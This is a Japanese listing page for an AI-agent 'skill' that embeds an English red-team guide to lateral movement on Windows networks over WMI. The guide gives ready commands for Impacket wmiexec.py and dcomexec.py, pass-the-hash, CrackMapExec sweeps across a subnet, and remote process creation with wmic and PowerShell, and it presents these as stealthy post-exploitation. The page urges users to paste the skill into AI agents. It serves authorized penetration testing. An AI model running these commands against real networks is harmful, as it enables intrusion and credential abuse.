performing-lateral-movement-with-wmiexec
できること
このツールは、WMIを使ってネットワーク内の他のコンピューターでコマンドを実行できるようにするものです。WMIはWindowsがリモートで管理を行う仕組みで、ネットワークのセキュリティテストに役立ちます。
使う場面
- ✓許可を得てネットワークのセキュリティをテストするとき。
- ✓セキュリティ対策が機能しているか確認するとき。
- ✓セキュリティインシデントを調査するとき。
スキルのリンク
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-lateral-movement-with-wmiexec/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“管理者の認証情報を使って、コンピューター10.10.10.50でコマンド「ipconfig」を実行してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
WindowsのWMIという機能を使って、他のコンピューターにコマンドを送ります。新しいソフトウェアを導入する代わりに、Windowsに元から備わっている仕組みを使うため、検知されにくくなります。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Performing Lateral Movement with WMIExec
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.
When to Use
- When conducting security assessments that involve performing lateral movement with wmiexec
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Execute remote commands on Windows targets using WMI-based techniques
- Establish semi-interactive shells via Impacket wmiexec.py
- Perform lateral movement with Pass-the-Hash using WMI
- Use CrackMapExec for multi-target WMI command execution
- Execute native PowerShell WMI commands for fileless lateral movement
- Chain WMI with credential harvesting for network-wide access
MITRE ATT&CK Mapping
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
Workflow
Phase 1: WMIExec with Impacket
- Execute a semi-interactive shell with credentials:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/admin@10.10.10.50 # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/admin@TARGET01.domain.local # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - Execute commands without output file (stealthier using DCOM):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
Phase 2: CrackMapExec Multi-Target Execution
- Execute commands across multiple targets:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
Phase 3: Native WMI Commands (Windows)
- Execute remote commands using built-in Windows WMI tools:
# Using wmic.exe (deprecated but still available) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Using PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Using CIM sessions (modern replacement for WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
…
よくある質問
WMIとは何ですか?
WMIはWindows Management Instrumentationの略で、システム管理者がWindowsコンピューターをリモートで管理するために使うツールです。
なぜラテラルムーブメントにWMIを使うのですか?
WMIはWindowsに最初から組み込まれており、新しいサービスをインストールする必要がないため、より気づかれにくく、セキュリティアラートが発生しにくいからです。
「ラテラルムーブメント」とは何ですか?
セキュリティ分野の用語で、攻撃者がネットワーク内の1台に最初に侵入した後、そこから他のコンピューターへ移動していくことを指します。
詳細
作者による元の説明
Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.
人気
- GitHubのスター
- 35k
- ランキング
- #8256
- ライセンス
- Apache-2.0
- 更新日
- 2026/8/31
コメント
- …
このリポジトリの他のスキル
abusing-dpapi-for-credential-access
35k特定のタスク向けに用意された指示をAIエージェントに与え、より良く、より速く作業できるようにします。
abusing-shadow-credentials-for-privesc
35kAIエージェントに、明確で構成のしっかりした文章の書き方を教えます。
achieving-cmmc-level-2-compliance
35kエージェントがCMMC Level 2への準拠に向けた環境を整えられるようにします。セキュリティ要件を実装し、必要なドキュメントを管理します。
acquiring-disk-image-with-dd-and-dcfldd
35kエージェントがハードディスクの完全なコピーを作成できるようにします。調査中に情報が失われたり改変されたりしないようにするのに役立ちます。
似ているスキル
diffs
394k編集内容の実際の共有可能な差分を、手書きの要約ではなく、ビューアーのリンクや画像ファイルとして作成するようエージェントを支援します。
coding-agent
394kCodex、Claude Code、OpenCodeに大きめのコーディング作業をバックグラウンドのワーカーとして渡し、その進捗を確認するようエージェントを支援します。
gh-issues
394kGitHubのイシューを探し、取り組むものを選び、修正を含むプルリクエストを開くようエージェントを支援します。レビューコメントへの対応も含みます。